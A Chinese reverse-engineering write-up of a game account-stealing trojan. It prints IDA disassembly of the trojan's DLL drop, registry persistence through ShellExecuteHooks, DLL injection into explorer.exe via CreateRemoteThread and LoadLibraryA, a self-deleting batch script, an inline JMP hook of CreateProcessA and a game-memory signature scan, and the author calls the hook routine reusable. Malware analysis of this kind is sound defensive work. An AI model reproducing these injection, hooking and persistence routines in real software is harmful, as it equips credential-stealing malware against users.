您的位置:首页 > 其它

一个网游盗号木马的汇编源码分析

2009-05-03 08:52 483 查看
【文章标题】:一个网游盗号木马的汇编源码分析
【文章作者】: newjueqi
【作者邮箱】: zengjiansheng1@126.com
【作者QQ号】: 190678908
【使用工具】: IDA
【操作平台】: XP-SP2
【作者声明】: 今年7月份学会汇编,9月份买了《加密与解密3》正式开始学软件安全,这段时间走过来后感慨良多!在新的一年来临之前,发表篇文章纪念一下 ^-^



本文曾发表于看雪论坛http://bbs.pediy.com/showthread.php?t=79363
壳狂http://www.unpack.cn/viewthread.php?tid=31084

本文针对病毒源文件和生成的DLL分别作了分析。

病毒有以下的行为:

(1)病毒运行后释放rijxckin.dll到C:/WINDOWS/system32/
(2) 生成注册表项
1.HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Game/
JXQY/Url
2.HKEY_CLASSES_ROOT/CLSID/{35FD6584-698F-BCD2-602C-
698745210353}/InprocServe r32/"",
3.HKEY_CLASSES_ROOT/CLSID/{35FD6584-698F-BCD2-602C-
698745210353}/InprocServer32/ThreadingModel,
4.HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explo
rer/ShellExecuteHooks/{35FD6584-698F-BCD2-602C-698745210353},内容
为"rijxckin.dll"

(3)把C:/WINDOWS/system32/rijxzkin.dll文件注入到explorer进程

(4)在临时文件夹里创建bat文件,用来删除病毒自身文件,bat文件的内容如下(其

中C:/a.exe为病毒文件路径):
@echo off
:Loop
del "C:/a.exe"
if exist "C/a.exe" goto Loop

(1)病毒运行后释放rijxckin.dll到C:/WINDOWS/system32/
第一步:查找C:/WINDOWS/system32/路径,看有没有rijxckin.dll文件
Unpacker:004026A8 FindFile proc near ; CODE XREF:

FindBatFileAndDel+8 p
Unpacker:004026A8 ; FindBatFileAndDel+24 p ...
Unpacker:004026A8
Unpacker:004026A8 var_144 = byte ptr -144h
Unpacker:004026A8
Unpacker:004026A8 push ebx
Unpacker:004026A9 add esp, 0FFFFFEC0h
Unpacker:004026AF xor ebx, ebx
Unpacker:004026B1 push esp ; lpFindFileData
Unpacker:004026B2 push eax ; lpFileName
Unpacker:004026B3 call FindFirstFileA
Unpacker:004026B8 cmp eax, 0FFFFFFFFh
Unpacker:004026BB jz short loc_4026C5
Unpacker:004026BD test [esp+144h+var_144], 10h
Unpacker:004026C1 jnz short loc_4026C5
Unpacker:004026C3 mov bl, 1
Unpacker:004026C5
Unpacker:004026C5 loc_4026C5: ; CODE XREF:

FindFile+13 j
Unpacker:004026C5 ; FindFile+19 j
Unpacker:004026C5 push eax ; hFindFile
Unpacker:004026C6 call FindClose
Unpacker:004026CB mov eax, ebx
Unpacker:004026CD add esp, 140h
Unpacker:004026D3 pop ebx
Unpacker:004026D4 retn
Unpacker:004026D4 FindFile endp

第二步:没有的话就从自身文件里释放出rijxckin.dll到C:/WINDOWS/system32/

Unpacker:00402E2C push esi ; lpFileName
Unpacker:00402E2D mov ecx, offset dword_402F00 ;ASCII

"ICO"
Unpacker:00402E32 mov edx, offset aMain ; "MAIN"
Unpacker:00402E37 xor eax, eax ; hModule
Unpacker:00402E39 call CreateDllFile
{
Unpacker:00402AAC CreateDllFile proc near ; CODE XREF:

sub_402E18+21 p
Unpacker:00402AAC
Unpacker:00402AAC NumberOfBytesWritten= dword ptr -4
Unpacker:00402AAC lpFileName = dword ptr 8
Unpacker:00402AAC
Unpacker:00402AAC push ebp
Unpacker:00402AAD mov ebp, esp
Unpacker:00402AAF push ecx
Unpacker:00402AB0 push ebx
Unpacker:00402AB1 push esi
Unpacker:00402AB2 push edi
Unpacker:00402AB3 mov ebx, eax
Unpacker:00402AB5 push ecx ; lpType
Unpacker:00402AB6 push edx ; lpName
Unpacker:00402AB7 push ebx ; hModule
Unpacker:00402AB8 call FindResourceA
Unpacker:00402ABD mov esi, eax
Unpacker:00402ABF push esi ; hResInfo
Unpacker:00402AC0 push ebx ; hModule
Unpacker:00402AC1 call SizeofResource
Unpacker:00402AC6 mov edi, eax ;eax=5e00
Unpacker:00402AC8 push esi ; hResInfo
Unpacker:00402AC9 push ebx ; hModule
Unpacker:00402ACA call LoadResource
Unpacker:00402ACF push eax ; hResData
Unpacker:00402AD0 call LockResource
Unpacker:00402AD5 mov esi, eax
Unpacker:00402AD7 push 0 ; hTemplateFile
Unpacker:00402AD9 push 80h ; dwFlagsAndAttributes
Unpacker:00402ADE push 2 ; dwCreationDisposition
Unpacker:00402AE0 push 0 ; lpSecurityAttributes
Unpacker:00402AE2 push 2 ; dwShareMode
Unpacker:00402AE4 push 40000000h ; dwDesiredAccess
Unpacker:00402AE9 mov eax, [ebp+lpFileName]
Unpacker:00402AEC push eax

;lpFileName="C:/WINDOWS/system32/rijxzkin.dll"
Unpacker:00402AED call CreateFileA
Unpacker:00402AF2 mov ebx, eax
Unpacker:00402AF4 push 0 ; lpOverlapped
Unpacker:00402AF6 lea eax, [ebp+NumberOfBytesWritten]
Unpacker:00402AF9 push eax ; lpNumberOfBytesWritten
Unpacker:00402AFA push edi ; nNumberOfBytesToWrite

文件长度5E00
Unpacker:00402AFB push esi ; lpBuffer ASCII "MZP"
Unpacker:00402AFC push ebx ; hFile
Unpacker:00402AFD call WriteFile_0
Unpacker:00402B02 push ebx ; hObject
Unpacker:00402B03 call CloseHandle
Unpacker:00402B08 mov al, 1
Unpacker:00402B0A pop edi
Unpacker:00402B0B pop esi
Unpacker:00402B0C pop ebx
Unpacker:00402B0D pop ecx
Unpacker:00402B0E pop ebp
Unpacker:00402B0F retn 4
Unpacker:00402B0F CreateDllFile endp
}

(2) 生成注册表项
1.HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Game/
JXQY/Url ,内容为00(200h)
2.HKEY_CLASSES_ROOT/CLSID/{35FD6584-698F-BCD2-602C-
698745210353}/InprocServer32/"",
3.HKEY_CLASSES_ROOT/CLSID/{35FD6584-698F-BCD2-602C-
698745210353}/InprocServer32/ThreadingModel,
4.HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explo
rer/ShellExecuteHooks/{35FD6584-698F-BCD2-602C-698745210353},内容
为"rijxckin.dll"

增加注册表的函数是:
Unpacker:00402B14 AddRegKey proc near ; CODE XREF:

sub_402C1C+7F p
Unpacker:00402B14 ; sub_402C1C+D0 p ...
Unpacker:00402B14
Unpacker:00402B14 hKey = dword ptr -4
Unpacker:00402B14 cbData = dword ptr 8
Unpacker:00402B14 lpData = dword ptr 0Ch
Unpacker:00402B14 dwType = dword ptr 10h
Unpacker:00402B14
Unpacker:00402B14 push ebp
Unpacker:00402B15 mov ebp, esp
Unpacker:00402B17 push ecx
Unpacker:00402B18 push ebx
Unpacker:00402B19 mov ebx, ecx
Unpacker:00402B1B lea ecx, [ebp+hKey]
Unpacker:00402B1E push ecx ; phkResult
Unpacker:00402B1F push edx ; lpSubKey
Unpacker:00402B20 push eax ; hKey
Unpacker:00402B21 call RegCreateKeyA
Unpacker:00402B26 mov eax, [ebp+cbData]
Unpacker:00402B29 push eax ; cbData
Unpacker:00402B2A mov eax, [ebp+lpData]
Unpacker:00402B2D push eax ; lpData
Unpacker:00402B2E mov eax, [ebp+dwType]
Unpacker:00402B31 push eax ; dwType
Unpacker:00402B32 push 0 ; Reserved
Unpacker:00402B34 push ebx ; lpValueName
Unpacker:00402B35 mov eax, [ebp+hKey]
Unpacker:00402B38 push eax ; hKey
Unpacker:00402B39 call RegSetValueExA
Unpacker:00402B3E mov ebx, eax
Unpacker:00402B40 mov eax, [ebp+hKey]
Unpacker:00402B43 push eax ; hKey
Unpacker:00402B44 call RegCloseKey_0
Unpacker:00402B49 mov eax, ebx
Unpacker:00402B4B pop ebx
Unpacker:00402B4C pop ecx
Unpacker:00402B4D pop ebp
Unpacker:00402B4E retn 0Ch
Unpacker:00402B4E AddRegKey endp

在4个地方分别调用了这个函数创建键值:

00402A34创建
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Game/JX
QY/Url ,内容为00(200h)
00402C9B创建HKEY_CLASSES_ROOT/CLSID/{35FD6584-698F-BCD2-602C-
698745210353}/InprocServer32/"",
00402CEC创建HKEY_CLASSES_ROOT/CLSID/{35FD6584-698F-BCD2-602C-
698745210353}/InprocServer32/ThreadingModel,
00402D4C创建
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explore
r/ShellExecuteHooks/{35FD6584-698F-BCD2-602C-698745210353},内容
为"rijxckin.dll"

(3)把C:/WINDOWS/system32/rijxzkin.dll文件注入到explorer进程

一共分三步完成
第一步: 获取explorer.exe的句柄
Unpacker:00402510 GetExplorerHandle proc near ; CODE XREF:

sub_402DD8+8 p
Unpacker:00402510
Unpacker:00402510 var_138 = dword ptr -138h
Unpacker:00402510 var_114 = byte ptr -114h
Unpacker:00402510
Unpacker:00402510 push ebx
Unpacker:00402511 push esi
Unpacker:00402512 push edi
Unpacker:00402513 push ebp
Unpacker:00402514 add esp, 0FFFFFED8h
Unpacker:0040251A mov ebx, edx
Unpacker:0040251C mov esi, eax
Unpacker:0040251E xor edi, edi
Unpacker:00402520 xor edx, edx
Unpacker:00402522 mov eax, 2
Unpacker:00402527 call CreateModuleSnapshot ; 创建快照
Unpacker:0040252C mov ebp, eax
Unpacker:0040252E mov [esp+138h+var_138], 128h
Unpacker:00402535 mov edx, esp
Unpacker:00402537 mov eax, ebp
Unpacker:00402539 call FindProcess ; BDS 2005-2006 and

Delphi6-7 Visual Component Library
Unpacker:0040253E jmp short loc_402560
Unpacker:00402540 ; -----------------------------------------------------------------

----------
Unpacker:00402540
Unpacker:00402540 loc_402540: ; CODE XREF:

GetExplorerHandle+58 j
Unpacker:00402540 lea eax, [esp+138h+var_114]
Unpacker:00402544
Unpacker:00402544 loc_402544: ; CODE XREF:

Unpacker:loc_40BA44 j
Unpacker:00402544 ; DATA XREF:

Unpacker:0040BA3F o
Unpacker:00402544 push eax
Unpacker:00402545 push esi
Unpacker:00402546 call lstrcmpi ;比较线程名字是
否"explorer",不是的话通过循环继续获取比较
Unpacker:0040254B test eax, eax
Unpacker:0040254D jnz short loc_402557
Unpacker:0040254F mov edi, [esp+140h+var_138]
Unpacker:00402553 test bl, bl
Unpacker:00402555 jz short loc_40256A
Unpacker:00402557
Unpacker:00402557 loc_402557: ; CODE XREF: GetExplorerHandle+3D j
Unpacker:00402557 mov edx, esp
Unpacker:00402559 mov eax, ebp
Unpacker:0040255B call FindProcessNext ; 获取快照中的下一个
进程名字
Unpacker:00402560
Unpacker:00402560 loc_402560: ; CODE XREF:

GetExplorerHandle+2E j
Unpacker:00402560 cmp eax, 1
Unpacker:00402563 sbb eax, eax
Unpacker:00402565 inc eax
Unpacker:00402566 cmp al, 1
Unpacker:00402568 jz short loc_402540
Unpacker:0040256A
Unpacker:0040256A loc_40256A: ; CODE XREF:

GetExplorerHandle+45 j
Unpacker:0040256A push ebp ; hObject
Unpacker:0040256B call CloseHandle
Unpacker:00402570 mov eax, edi
Unpacker:00402572 add esp, 128h
Unpacker:00402578 pop ebp
Unpacker:00402579 pop edi
Unpacker:0040257A pop esi
Unpacker:0040257B pop ebx

Unpacker:0040257B GetExplorerHandle endp ;

第二步: 检查explorer进程中是否已有rijxzkin.dll文件
Unpacker:00402580 FindDllModule proc near ; CODE XREF:

sub_402DD8+18 p
Unpacker:00402580
Unpacker:00402580 var_234 = dword ptr -234h
Unpacker:00402580 var_220 = dword ptr -220h
Unpacker:00402580 var_214 = byte ptr -214h
Unpacker:00402580 var_114 = byte ptr -114h
Unpacker:00402580
Unpacker:00402580 push ebx
Unpacker:00402581 push esi
Unpacker:00402582 push edi
Unpacker:00402583 push ebp
Unpacker:00402584 add esp, 0FFFFFDDCh
Unpacker:0040258A mov edi, ecx
Unpacker:0040258C mov ebx, edx
Unpacker:0040258E mov esi, eax
Unpacker:00402590 xor ebp, ebp
Unpacker:00402592 test edi, edi
Unpacker:00402594 jz short loc_4025A2
Unpacker:00402596 mov edx, 104h
Unpacker:0040259B mov eax, edi
Unpacker:0040259D call @Windows@ZeroMemory$qqrpvui ;

Windows::ZeroMemory(void *,uint)
Unpacker:004025A2
Unpacker:004025A2 loc_4025A2: ; CODE XREF:

FindDllModule+14 j
Unpacker:004025A2 mov edx, esi
Unpacker:004025A4 mov eax, 8
Unpacker:004025A9 call CreateModuleSnapshot ; 创建快照
Unpacker:004025AE mov esi, eax
Unpacker:004025B0 mov [esp+234h+var_234], 224h
Unpacker:004025B0 ; CODE XREF:

Unpacker:loc_40BAB4 j
Unpacker:004025B7 mov edx, esp
Unpacker:004025B9 mov eax, esi
Unpacker:004025BB call FindModuleFirst ; 查找explorer进程中是

否已有"rijxzkin.dll"
Unpacker:004025C0 cmp eax, 1
Unpacker:004025C3 sbb eax, eax
Unpacker:004025C5 inc eax
Unpacker:004025C6 cmp al, 1
Unpacker:004025C8 jnz short loc_402608
Unpacker:004025CA
Unpacker:004025CA loc_4025CA: ; CODE XREF:

FindDllModule+86 j
Unpacker:004025CA test ebx, ebx
Unpacker:004025CC jz short loc_4025DD
Unpacker:004025CE lea eax, [esp+234h+var_214]
Unpacker:004025D2 push eax
Unpacker:004025D3 push ebx
Unpacker:004025D4 call lstrcmpi
Unpacker:004025D9 test eax, eax
Unpacker:004025DB jnz short loc_4025F5
Unpacker:004025DD
Unpacker:004025DD loc_4025DD: ; CODE XREF:

FindDllModule+4C j
Unpacker:004025DD test edi, edi
Unpacker:004025DF jz short loc_4025EF
Unpacker:004025E1 lea eax, [esp+234h+var_114]
Unpacker:004025E8 push eax
Unpacker:004025E9 push edi
Unpacker:004025EA call lstrcpy
Unpacker:004025EF
Unpacker:004025EF loc_4025EF: ; CODE XREF:

FindDllModule+5F j
Unpacker:004025EF mov ebp, [esp+234h+var_220]
Unpacker:004025F3 jmp short loc_402608
Unpacker:004025F5 ; -----------------------------------------------------------------

----------
Unpacker:004025F5
Unpacker:004025F5 loc_4025F5: ; CODE XREF:

FindDllModule+5B j
Unpacker:004025F5 mov edx, esp
Unpacker:004025F7 mov eax, esi
Unpacker:004025F9 call FindModuleNext ; 继续查找explorer进程

中是否已加载"rijxzkin.dll"
Unpacker:004025FE cmp eax, 1
Unpacker:00402601 sbb eax, eax
Unpacker:00402603 inc eax
Unpacker:00402604 cmp al, 1
Unpacker:00402606 jz short loc_4025CA
Unpacker:00402608
Unpacker:00402608 loc_402608: ; CODE XREF:

FindDllModule+48 j
Unpacker:00402608 ; FindDllModule+73 j
Unpacker:00402608 push esi ; hObject
Unpacker:00402609 call CloseHandle
Unpacker:0040260E mov eax, ebp
Unpacker:00402610 add esp, 224h
Unpacker:00402616 pop ebp
Unpacker:00402617 pop edi
Unpacker:00402618 pop esi
Unpacker:00402619 pop ebx
Unpacker:0040261A retn
Unpacker:0040261A FindDllModule endp

第三步: 如果explorer进程中没rijxzkin.dll,就把rijxzkin.dll注入explorer
Unpacker:00402B54 InjectDllToExplore proc near ; CODE XREF:

sub_402DD8+28 p
Unpacker:00402B54 push ebx
Unpacker:00402B55 push esi
Unpacker:00402B56 push edi
Unpacker:00402B57 push ecx
Unpacker:00402B58 mov edi, edx
Unpacker:00402B5A push eax ; dwProcessId
Unpacker:00402B5B push 0 ; bInheritHandle
Unpacker:00402B5D push 1F0FFFh ; dwDesiredAccess
Unpacker:00402B62 call OpenProcess
Unpacker:00402B67 mov ebx, eax
Unpacker:00402B69 push 4 ; flProtect
Unpacker:00402B6B push 1000h ; flAllocationType
Unpacker:00402B70 push 104h ; dwSize
Unpacker:00402B75 push 0 ; lpAddress
Unpacker:00402B77 push ebx ; hProcess
Unpacker:00402B78 call VirtualAllocEx
Unpacker:00402B7D mov esi, eax
Unpacker:00402B7F push esp ; lpNumberOfBytesWritten
Unpacker:00402B80 push 104h ; nSize
Unpacker:00402B85 push edi ; lpBuffer
Unpacker:00402B86 push esi ; lpBaseAddress
Unpacker:00402B87 push ebx ; hProcess
Unpacker:00402B88 call WriteProcessMemory
Unpacker:00402B8D push offset aLoadlibrarya ; "LoadLibraryA"
Unpacker:00402B92 push offset aKernel32_dll ; "kernel32.dll"
Unpacker:00402B97 call GetModuleHandleA_0
Unpacker:00402B9C push eax ; hModule
Unpacker:00402B9D call GetProcAddress
Unpacker:00402BA2 push esp ; lpThreadId
Unpacker:00402BA3 push 0 ; dwCreationFlags
Unpacker:00402BA5 push esi ; lpParameter
Unpacker:00402BA6 push eax ; lpStartAddress
Unpacker:00402BA7 push 0 ; dwStackSize
Unpacker:00402BA9 push 0 ; lpThreadAttributes
Unpacker:00402BAB push ebx ; hProcess
Unpacker:00402BAC call CreateRemoteThread
Unpacker:00402BB1 mov esi, eax
Unpacker:00402BB3 push ebx ; hObject
Unpacker:00402BB4 call CloseHandle
Unpacker:00402BB9 mov eax, esi
Unpacker:00402BBB pop edx
Unpacker:00402BBC pop edi
Unpacker:00402BBD pop esi
Unpacker:00402BBE pop ebx
Unpacker:00402BBF retn
Unpacker:00402BBF InjectDllToExplore endp

(4)在临时文件夹里创建bat文件,用来删除病毒自身文件,最后生成的bat文件的内

容如下(其中C:/a.exe为病毒文件路径):
@echo off
:Loop
del "C:/a.exe"
if exist "C/a.exe" goto Loop

第一步:先通过获取一个临时文件夹用来存放bat文件,如果已存在就把原来的临

时文件夹删除
第二步:生成bat文件并且执行
Unpacker:0040270C MakeBatFile proc near ; CODE XREF:

sub_402F10+B1 p
Unpacker:0040270C
Unpacker:0040270C var_610 = dword ptr -610h
Unpacker:0040270C var_60C = byte ptr -60Ch
Unpacker:0040270C CmdLine = byte ptr -50Ch
Unpacker:0040270C var_410 = byte ptr -410h
Unpacker:0040270C Buffer = byte ptr -408h
Unpacker:0040270C
Unpacker:0040270C push ebx
Unpacker:0040270D push esi
Unpacker:0040270E add esp, 0FFFFF9F8h
Unpacker:00402714 mov esi, eax
Unpacker:00402716 xor ebx, ebx
Unpacker:00402718 mov eax, esi ; lpFileName
Unpacker:0040271A call FindFile ;检查病毒文件是否存在
Unpacker:0040271F cmp al, 1
Unpacker:00402721 jnz loc_402877
Unpacker:00402727 lea eax, [esp+610h+CmdLine]
Unpacker:0040272E push eax ; lpBuffer
Unpacker:0040272F push 104h ; nBufferLength
Unpacker:00402734 call GetTempPathA ;获取bat存放文件的

临时目录
Unpacker:00402739 push offset dword_402884
Unpacker:0040273E lea eax, [esp+614h+CmdLine]
Unpacker:00402745 push eax
Unpacker:00402746 call lstrcat
Unpacker:0040274B call GetTickCount
Unpacker:00402750 mov [esp+610h+var_610], eax
Unpacker:00402753 push esp ; arglist
Unpacker:00402754 push offset aD ; "%d"
Unpacker:00402759 lea eax, [esp+618h+var_60C]
Unpacker:0040275D push eax ; LPSTR
Unpacker:0040275E call wvsprintfA
Unpacker:00402763 lea eax, [esp+610h+var_60C]
Unpacker:00402767 push eax
Unpacker:00402768 lea eax, [esp+614h+CmdLine]
Unpacker:0040276F push eax
Unpacker:00402770 call lstrcat
Unpacker:00402775 push offset a_bat ; ".bat"
Unpacker:0040277A lea eax, [esp+614h+CmdLine]
Unpacker:00402781 push eax
Unpacker:00402782 call lstrcat
Unpacker:00402787 lea eax, [esp+610h+CmdLine] ;

lpFileName
Unpacker:0040278E call FindBatFileAndDel ;如果临时文件名重复就把原的文件删除
Unpacker:00402793 cmp al, 1
Unpacker:00402795 jnz loc_402877
Unpacker:0040279B push offset a@echoOff ; "@echo off/r/n"
Unpacker:004027A0 lea eax, [esp+614h+Buffer]
Unpacker:004027A7 push eax ; char
Unpacker:004027A8 call lstrcpy
Unpacker:004027AD push offset aLoop ; ":Loop/r/n"
Unpacker:004027B2 lea eax, [esp+61Ch+var_410]
Unpacker:004027B9 push eax
Unpacker:004027BA call lstrcat
Unpacker:004027BF push offset aDel ; "del /""
Unpacker:004027C4 lea eax, [esp+61Ch+var_410]
Unpacker:004027CB push eax
Unpacker:004027CC call lstrcat
Unpacker:004027D1 push esi
Unpacker:004027D2 lea eax, [esp+61Ch+var_410]
Unpacker:004027D9 push eax
Unpacker:004027DA call lstrcat
Unpacker:004027DF push offset asc_4028B0 ; "/"/r/n"
Unpacker:004027E4 lea eax, [esp+61Ch+var_410]
Unpacker:004027EB push eax
Unpacker:004027EC call lstrcat
Unpacker:004027F1 push offset aIfExist ; "if exist /""
Unpacker:004027F6 lea eax, [esp+61Ch+var_410]
Unpacker:004027FD push eax
Unpacker:004027FE call lstrcat
Unpacker:00402803 push esi
Unpacker:00402804 lea eax, [esp+61Ch+var_410]
Unpacker:0040280B push eax
Unpacker:0040280C call lstrcat
Unpacker:00402811 push offset aGotoLoop ; "/" goto Loop/r/n"
Unpacker:00402816 lea eax, [esp+61Ch+var_410]
Unpacker:0040281D push eax
Unpacker:0040281E call lstrcat
Unpacker:00402823 push offset aDel0 ; "del %0/r/n"
Unpacker:00402828 lea eax, [esp+61Ch+var_410]
Unpacker:0040282F push eax
Unpacker:00402830 call lstrcat
Unpacker:00402835 push 80h ; dwFileAttributes
Unpacker:0040283A push esi ; lpFileName
Unpacker:0040283B call SetFileAttributesA
Unpacker:00402840 push 0
Unpacker:00402842 push 1
Unpacker:00402844 lea eax, [esp+620h+var_410]
Unpacker:0040284B push eax
Unpacker:0040284C call lstrlen
Unpacker:00402851 mov ecx, eax
Unpacker:00402853 lea edx, [esp+618h+Buffer] ; lpBuffer
Unpacker:0040285A lea eax, [esp+618h+CmdLine] ;

lpFileName
Unpacker:00402861 call AddOverlayToFile ;把字符串的内容写入到bat文件中
Unpacker:00402866 push 0 ; uCmdShow
Unpacker:00402868 lea eax, [esp+614h+CmdLine]
Unpacker:0040286F push eax ; lpCmdLine
Unpacker:00402870 call WinExec ;执行bat文件
Unpacker:00402875 mov bl, 1
Unpacker:00402877
Unpacker:00402877 loc_402877: ; CODE XREF:

GetBatTempDirectory+15 j
Unpacker:00402877 ; GetBatTempDirectory+89 j
Unpacker:00402877 mov eax, ebx
Unpacker:00402879 add esp, 608h
Unpacker:0040287F pop esi
Unpacker:00402880 pop ebx
Unpacker:00402881 retn
Unpacker:00402881 MakeBatFile endp

个人认为生成的DLL文件里有两个地方比较可取,一个是hook API部分(修改函数地址的前5个字节跳转到hook的函数),病毒作者把它弄成一个函数,在大量的场合都能用到; 另一个是搜索游戏进程匹配特征码部分,介绍了搜索游戏进程的常用方法,可以参考一下,这里只帖这两部分的分析,其它分析请看IDB文件

一 .hook API部分

1.获取“CreateProcessA”的入口地址,并把地址保存在dword_40AFBC,

dword_40AFB8

CODE:00404D8C push offset aCreateprocessa ; "CreateProcessA"
CODE:00404D91 push ebx ; hModule
CODE:00404D92 call GetProcAddress
CODE:00404D97 mov ds:dword_40AFBC, eax
CODE:00404D9C mov eax, ds:dword_40AFBC
CODE:00404DA1 mov ds:dword_40AFB8, eax

2.读取“CreateProcessA”函数的前5个字节数据

CODE:00404DA6 lea eax, [ebp+NumberOfBytesRead]
CODE:00404DA9 push eax ; lpNumberOfBytesRead
CODE:00404DAA push 5 ; nSize
CODE:00404DAC push offset unk_40AFC0 ; lpBuffer
CODE:00404DB1 mov eax, ds:dword_40AFB8
CODE:00404DB6 push eax ; lpBaseAddress
CODE:00404DB7 mov eax, ds:hProcess
CODE:00404DBC push eax ; hProcess
CODE:00404DBD call ReadProcessMemory

3.改变“CreateProcessA”函数的前5个字节内存页的保护属性

CODE:00402E09 lea eax, [ebp+flOldProtect]
CODE:00402E0C push eax ; lpflOldProtect
CODE:00402E0D push 4 ; flNewProtect
CODE:00402E0F push 5 ; dwSize
CODE:00402E11 mov esi, edi
CODE:00402E13 push esi ; lpAddress,“CreateProcessA”
的入口地址
CODE:00402E14 call VirtualProtect

4.计算“CreateProcessA”的入口地址距离病毒hook“CreateProcessA”函数的偏移值

CODE:00402E1C mov eax, [ebp+arg_0] ;[ebp+arg_0]是hook
“CreateProcessA”函数sub_403CB0的地址
CODE:00402E1F sub eax, edi
CODE:00402E21 sub eax, 5 ;由于跳转指令占了5个字节,所以减5后才正确的偏移
CODE:00402E24 mov [ebp+var_C], eax

5.使“CreateProcessA”的入口地址跳向病毒hook“CreateProcessA”函数
sub_403CB0
CODE:00402E37 lea eax, [ebp+NumberOfBytesWritten]
CODE:00402E3A push eax ; lpNumberOfBytesWritten
CODE:00402E3B push 5 ; nSize
CODE:00402E3D lea eax, [ebp+Buffer]
CODE:00402E40 push eax ; lpBuffer
CODE:00402E41 push esi ; lpBaseAddress
CODE:00402E42 mov eax, [ebp+hProcess]
CODE:00402E45 push eax ; hProcess
CODE:00402E46 call WriteProcessMemory
CODE:00402E4B mov [esi], bl ;[esi]为“CreateProcessA”的入口
,bl="E9",对应的汇编指令为“JMP”,使“CreateProcessA”的入口变成一个跳转指

CODE:00402E4D inc edi ;使[edi]指向跳转的偏移值
CODE:00402E4E mov eax, [ebp+var_C] ;[ebp+var_C]为偏移量
CODE:00402E51 mov [edi], eax ;“CreateProcessA”的入变
成“JMP xxxxxx”的形式,实现hook“CreateProcessA”函数

6.由于“CreateProcessA”的入口已改变,但病毒要实现创建线程的功能,所以跳 到病毒hook“CreateProcessA”函数sub_403CB0后必须要把“CreateProcessA”的入口恢复

CODE:00402DD6 lea eax, [ebp+NumberOfBytesWritten]
CODE:00402DD9 push eax ; lpNumberOfBytesWritten
CODE:00402DDA push edi ; nSize
CODE:00402DDB mov eax, [ebp+lpBuffer]
CODE:00402DDE push eax ; lpBuffer ;原来保存
“CreateProcessA”的入口内容的换成区
CODE:00402DDF push esi ; lpBaseAddress ;
“CreateProcessA”的入口地址
CODE:00402DE0 push ebx ; hProcess
CODE:00402DE1 call WriteProcessMemory

7.通过CreateProcessA创建进程
CODE:00403CD4 push ebx
CODE:00403CD5 mov eax, [ebp+arg_20]
......
......
CODE:00403CF2 mov eax, [ebp+arg_0]
CODE:00403CF5 push eax
CODE:00403CF6 call ds:dword_40AFBC

;dword_40AFBC为“CreateProcessA”的入口地址

8.实现DLL注入的方法:在游戏进程里申请一块内存并把DLL名写进去,把进程空间中的LoadLibrary函数当成线程来执行,输入的参数是前面申请的地址(已把DLL名写进去),这样LoadLibrary函数执行到ret时,远程线程结束,但DLL也被载入目标进程,这样就可执行DLL中的代码

CODE:00402E66 push eax ; dwProcessId ;当前进程
CODE:00402E67 push 0 ; bInheritHandle
CODE:00402E69 push 1F0FFFh ; dwDesiredAccess
CODE:00402E6E call OpenProcess
CODE:00402E73 mov ebx, eax
CODE:00402E75 push 4 ; flProtect
CODE:00402E77 push 1000h ; flAllocationType
CODE:00402E7C push 104h ; dwSize
CODE:00402E81 push 0 ; lpAddress
CODE:00402E83 push ebx ; hProcess
CODE:00402E84 call VirtualAllocEx
CODE:00402E89 mov esi, eax
CODE:00402E8B push esp ; lpNumberOfBytesWritten
CODE:00402E8C push 104h ; nSize
CODE:00402E91 push edi ; lpBuffer
CODE:00402E92 push esi ; lpBaseAddress ;申请 的内存空间
CODE:00402E93 push ebx ; hProcess
CODE:00402E94 call WriteProcessMemory
CODE:00402E99 push offset aLoadlibrarya ; "LoadLibraryA"
CODE:00402E9E push offset aKernel32_dll ; "kernel32.dll"
CODE:00402EA3 call GetModuleHandleA
CODE:00402EA8 push eax ; hModule
CODE:00402EA9 call GetProcAddress ;获取"LoadLibraryA"的地址
CODE:00402EAE push esp ; lpThreadId
CODE:00402EAF push 0 ; dwCreationFlags
CODE:00402EB1 push esi ; lpParameter,前面申请的地 址
CODE:00402EB2 push eax ; lpStartAddress,"LoadLibraryA"的地址
CODE:00402EB3 push 0 ; dwStackSize
CODE:00402EB5 push 0 ; lpThreadAttributes
CODE:00402EB7 push ebx ; hProcess
CODE:00402EB8 call CreateRemoteThread

二.搜索游戏进程匹配特征码

CODE:0040401D lea ebx, [eax+1000h] ;eax
为该模块的句柄值
CODE:00404023 lea esi, [eax+200000h]
CODE:00404029 push 0Ch ;获取页面或读出内容的最小值
CODE:0040402B push ebx ;地址下限
CODE:0040402C push esi ;地址上限
CODE:0040402D mov ecx, offset unk_4060C0;特征码地址
CODE:00404032 xor edx, edx ;识别控制
CODE:00404034 mov eax, [edi];进程句柄
CODE:00404036 call findGameAddr
........
........
CODE:0040410D mov eax, [ebp+ThreadId]
CODE:00404110 mov ds:dword_40AFF0, eax
CODE:00404115 push 1 ; dwMilliseconds
CODE:00404117 call Sleep

核心函数就是findGameAddr,以CODE:00404036的为例说明

1.首先用[eax+1000h]作为搜索的起始地址,循环查找时的下次起始地址就是用 VirtualQueryEx获得的MEMORY_BASIC_INFORMATION结构中的BaseAddress+RegionSize

CODE:00402F48 mov eax, [ebp+Buffer.BaseAddress]
CODE:00402F4E add eax, [ebp+Buffer.RegionSize]
CODE:00402F54 mov [ebp+lpBaseAddress], eax
CODE:00402F57 mov eax, [ebp+lpBaseAddress]
CODE:00402F5A cmp eax, [ebp+arg_4]
CODE:00402F5D jnb short loc_402F65
CODE:00402F5F mov eax, [ebp+arg_4]; [ebp+arg_4]=

[eax+1000h]
CODE:00402F62 mov [ebp+lpBaseAddress], eax

2.限制查找地址的范围在[eax+1000h]和[eax+200000h]之间

mov eax, [ebp+lpBaseAddress];[ebp+lpBaseAddress]查找的开始地址
cmp eax, [ebp+arg_0] ;[ebp+arg_0]=[eax+200000h]
ja loc_403060 ;跳到结束

3.用VirtualQueryEx获得相关的内存信息

push 1Ch ; dwLength
lea eax, [ebp+Buffer]
push eax ; lpBuffer,指向MEMORY_BASIC_INFORMATION结构
mov eax, [ebp+lpBaseAddress]
push eax ; lpAddress,查找的开始地址
mov eax, [ebp+hProcess]
push eax ; hProcess
call VirtualQueryEx

4.检查相同属性的页面的范围是否少于传入的参数0Ch,如果小于的话就跳到1.

继续查找
CODE:00402F8F mov eax, [ebp+Buffer.RegionSize]
CODE:00402F95 mov [ebp+var_14], eax
CODE:00402F98
